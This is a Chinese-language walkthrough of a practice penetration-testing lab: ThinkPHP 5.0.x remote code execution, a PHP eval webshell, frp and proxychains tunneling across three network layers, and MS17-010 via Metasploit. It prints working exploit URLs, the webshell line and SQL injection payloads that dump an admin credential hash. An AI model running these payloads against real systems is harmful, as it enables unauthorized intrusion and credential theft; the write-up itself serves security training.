引言
在过去的一些实战经历中发现自己内网相关的技能还比较薄弱,所以专门找了个靶场(teamssix.com)做下练习,靶场的web漏洞利用都很简单,主要训练自己内网搭代理隧道的熟练度,如果你和我一样对复杂网络下隧道搭建不熟悉的话,不妨一起看看这篇文章,希望能对你有一些帮助。
目标:拿下内网最深处主机的flag.txt
文件
外网打点
在互联网环境下发现一处资产 ,这里以 x.x.220.130
替代,直接访问 x.x.220.130
发现以下页面:
很明显这是一个thinkphp应用,随便指定一个路由http://x.x.220.130/index.php/?s=123
,爆出thinkphp的详细版本。
tp5在5.0-5.0.24
和 5.1.0-5.1.30
都是存在RCE(Remote code Execution)的,这里运气很好,直接使用5.0.x路由默认兼容模式进行RCE,使用以下payload 执行id
命令:
http://x.x.220.130/index.php/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=id
可以看见命令执行成功。
接下来直接写入一个shell ,使用php 的 file_put_contents
函数写个一句话木马:
http://x.x.220.130/index.php/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=qaxnb.php&vars[1][1]=%3C?php%20@eval($_POST[%27qaxnb666%27]);?%3E
验证:
验证成功,直接使用蚁剑进行连接。
将超时时间调高,因为后续会上传文件避免超时而中断:
连接成功:
第一层的flag就在网站根目录下面, 直接双击读取即可:
突破边界(第一层)
接上文,已经拿下第一台服务器,尝试对这台服务器进行信息收集:
拿下的这台服务器发现权限并不高仅为www,但是有惊喜的是这台机器存在双网卡,其中一张网卡(ens37
)绑定了内网ip(192.168.22.131
),证明这台服务器处于企业架构的DMZ(非军事区)区域,且是两个网段的边界节点,那么我们只要借助这台服务器作为跳板即可进入这家企业的内网,至少进入了192.168.22.x/24
网段的内网。
22 网段信息收集
既然发现了存在192.168.22.x/24
网段,所以尝试对 22 网段进行信息收集,这里使用fscan (https://github.com/shadow1ng/fscan)工具进行内网大保健.
上传fscan 到服务器目录/tmp
对 192.168.22.x/24
网段进行扫描:
./fscan -h 192.168.22.1/24 -o fscan.log
查看扫描结果:
发现网段内还存在192.168.22.128
和 , 且192.168.22.129
192.168.22.128:80
存在 cms服务。
接下来的目标就是拿下192.168.22.128
服务器,直接通过DMZ这台服务器因为权限太低所以不能直接用它来渗透,所以需要
以第一台服务作为跳板。
搭建跳板
先画个网络拓扑图,方便后续理解,第一台机器我们也叫它Target 1
.
因为在上一步信息收集时发现192.168.22.128:80
(Target 2)存在 cms服务,有两种方式进行利用:
- 对 Target 2
80
端口进行端口转发。 - 使用反向代理,将Target 1 的网络通过vps代理出去。
为了进一步对内网进行探测,这里选择第二种方式。
反向代理有很多工具可以使用,frp、ew、ngrok都可以,这里使用frp方式。
frp存在服务端(frps)与客户端(frpc), frps需要一直保持运行,转发方式通过客户端配置文件进行确定。
启用frp 服务端
下载frps到自己的vps上,frps.ini 配置如下 :
其中 token 表示客户端进行连接的验证参数, 监听端口为17001, dashboard 为frps自带的仪表盘,方便对frps运行情况进行查看,
使用命令frps -c frps.ini
启动即可,如果想要后台运行,可以加入service或者使用nohup启动。
netstat 查看对应端口在监听则证明启动成功。使用配置的dashboard端口也能成功进入。
Target1 客户端配置
将frpc 传入target1 /tmp/frp
目录:
frpc.ini 配置内容:
其中common内容与frps.ini保持一致即可, target1客户端分别配置了socks5与http的代理方式,使用frpc -c frpc.ini
进行启动:
在 vps 服务器端分别发现了16004与16005端口,证明代理搭建成功!
这样就相当于打通了外部与该企业的内网,在互联网挂着vps 16004/16005的代理就能访问 Target2 所在的网段:
进入第二层内网
在上一步骤中已经搭建好了内网代理,现在进行以下测试,首先在没有使用代理时,192.168.22.128是无法访问的:
通过浏览器插件配置代理,因为浏览器不支持socks5 代理的加密认证,所以这里配置http方式
再次访问192.168.22.128
,成功访问,到此我们就已经访问了企业第二层内网:
虽然这里浏览器能够正常访问了,但是在渗透的过程中常常会使用安全工具进行扫描或者漏洞利用,这些工具大部分没有预留走代理的配置,或者系统的代理往往不会生效,这种情况怎么办呢?
所以这时候强制代理工具就很重要了,强制代理工具也有很多,这里使用proxifer,这款工具在win/mac下都有比较方便。
### 对`Target2` 进行端口扫描
虽然在之前的扫描中发现了Target2 80端口存在一个cms,但是 渗透总是照着软柿子捏,我们尝试使用nmap 对Target2 进行端口扫描,寻找其开放的端口。
1. 首先需要配置Proxifer
,先配置代理服务器
- 需要配置代理规则,按照下图配置:
- 使用nmap 进行扫描,注意的是socks本身也是建立在tcp基础上的,所以nmap只能以tcp全连接的方式进行扫描,即:
nmap -sT 192.168.22.128 -Pn
对21、22、3306 都进行了弱口令尝试,但无解,888、8888 是宝塔的控制面板界面,尝试了宝塔之前的phpmyadmin未授权访问也无解。看样子只能对80端口下手。
Bage cms 渗透
通过查看网页底部指纹信息,知道这是一个bage cms搭建的网站,而且从时间上来看有些老旧。
通过在网上寻找bage cms的利用点发现均为一些任意文件读取或者xss等后管的漏洞利用,虽然通过路径扫描找到了后台地址:http://192.168.22.128/index.php?r=admini/public/login
但并没有弱口令,而且因为有验证码 所以也没法爆破,这个时候就茫然了,完全拿不下。
但总得抓个包先看看吧,联想到之前某活动,有个巨佬通过注释找到利用点拿到shell的场景,我这次也留意了注释的内容,刺激的是果然在注释里面有提示!
sql手工注入一把梭
访问提示的地址http://192.168.22.128/index.php?r=vul&keyword=1
:
加上单引号,典型的mysql报错注入:
所以使用报错注入注出后管用户名和密码就好(中途发现报错注入显示的字符长度有限制,后面转成了联合注入),细节就不完整放了,很基础,贴下过程中的payload:
-- 数据库
-- bagecms
1'/**/and/**/updatexml(1,(concat(0x7e,database(),0x7e)),1)%3d'1+
-- 注用户
-- bagecms@localhost
1'/**/and/**/updatexml(1,(concat(0x7e,user(),0x7e)),1)%3d'1+
-- 注表
-- bage_ad,bage_admin,bage_admin_group,bage_admin_logger,bage_attr,bage_attr_val,bage_catalog,bage_config,bage_link,bage_page,bage_post,bage_post_2tags,bage_post_album,bage_post_comment,bage_post_tags,bage_question,bage_special,bage_upload
1'+union+select+(select+group_concat(distinct+table_name)+from+information_schema.tables+where+table_schema%3d'bagecms'),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23
-- 注段
-- id,username,password,realname,group_id,email,qq,notebook,mobile,telephone,last_login_ip,last_login_time,login_count,status_is,create_time
1'+union+select+(select+group_concat(distinct+column_name)+from+information_schema.columns+where+table_schema%3d'bagecms'+and+table_name%3d'bage_admin'),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23
-- 注用户名
-- admin
1'+union+select+(select+group_concat(distinct+username)+from+bagecms.bage_admin ),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23
-- 注密码
-- 46f94c8de14fb36680850768ff1b7f2a (123qwe)
1'+union+select+(select+group_concat(distinct+password)+from+bagecms.bage_admin ),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23
把注入出来的md5 密码去解一下,得到(admin/123qwe):
放入后门
使用注入得到的账号密码进行登录,成功登录。
后管直接把Target2 的flag给显示出来了,尝试继续深入,给这台服务上传shell,上传点存在限制,但是在模板功能模块存在直接编辑模板代码的功能,所以很简单直接把一句话随便找个文件放入就好:
尝试使用蚁剑进行连接,因为Target2 是内网机器,所以要连接shell得先给蚁剑挂代理:
其余和Target1 一样进行连接, 连接成功,至此 Target2 也被拿下。
进入第三层内网
同样的步骤,先对刚拿下的Taget2 进行信息收集:
发现和 Target1 类似,同样是双网卡,且能访问192.168.33.128 网段,和 Target1 不同的是不能出网,如果类比企业的话,33可能就是企业的核心生产网。
再次上传fscan,对33网段进行内网大保健:
显示33网段除了Target2 之外 ,还有一台192.168.33.33
(Target3) ,且该主机为win7 ,fscan扫描得出存在永恒之蓝漏洞(MS17-010),所以可以再使用Target2的网络对Target3发起永恒之蓝攻击
#### 搭建双层代理链
往内网越深,需要搭建的代理就越多,内网的机器往往都是不出网的,所以需要依赖DMZ的机器作为总的出入口搭建代理链。
代理链搭建其实很简单,就是在Target1 上启动服务端,Target2 通过客户端连接服务端, 然后在使用代理时先让代理走target1 然后再走target2,即:
Hacker <-> VPS <-> Taget1 <-> Taget2 <-> Taget3
给Target1 运行frps 服务端,配置使用和vps相同的参数:
上Target2 运行客户端,其余配置都一样,把server_addr 换成开启服务端的Target1ip(注意ip要是22段,不然网络不通)
Target1 上开始监听Target2 客户端配置的代理ip时,说明配置成功。
永恒之蓝(MS17-010)
永恒之蓝这个漏洞很老了,算是复古一波,利用方式在msf里面就有,所以可以在vps上下载msf,给vps挂上代理链即可使用msf发起对Target3 的攻击。
在linux上对应用进行强制代理的工具可以使用proxychains-ng
proxychains-ng
在centos 上可以很方便的 yum install -y proxychains-ng
安装即可
配置文件默认在/etc/proxychains.conf
,按照如下顺序配置(顺序很重要,不能乱),因为我的frps就在这台vps上,所以直接使用127.0.0.1即可:
刚刚fscan扫描结果可知192.168.33.33 开启了 139和445 端口,使用proxtchain测试下,使用也非常简单,在需要代理的命令前面加上proxychain
即可:
proxychains telnet 192.168.33.33 139
从上图可以看到端口已经通了,这时候就可以打开msf一把梭了。
msf
- 使用proxychains 启动msfconsole
- 搜索ms17-010,直接使用第一个就好:
- 因为Target3 是不能出网的 ,所以不能使用默认的反向payload,需要指定正向payload:
- 设置目标参数信息
- exploit !!!
拿到Taget3 最高权限!尝试去读取flag
拿到flag!
截图:
到这里已经拿到了第三层的内网主机最高权限,fscan扫描也没有其他主机信息,可以确认这次就基本打穿了。
总结
回顾一下,本次渗透总共通过三个边界节点的漏洞利用成功拿下身处最内网的Target3,分别通过TP5、Bage cms、永恒之蓝作为漏洞利用点,借助frp 工具搭建代理链实现对内网的访问。其实整个过程还是很简单的,并没有涉及到域相关的内容,后续有机会再分享。
公众号
欢迎大家关注我的公众号,这里有干货满满的硬核安全知识,和我一起学起来吧!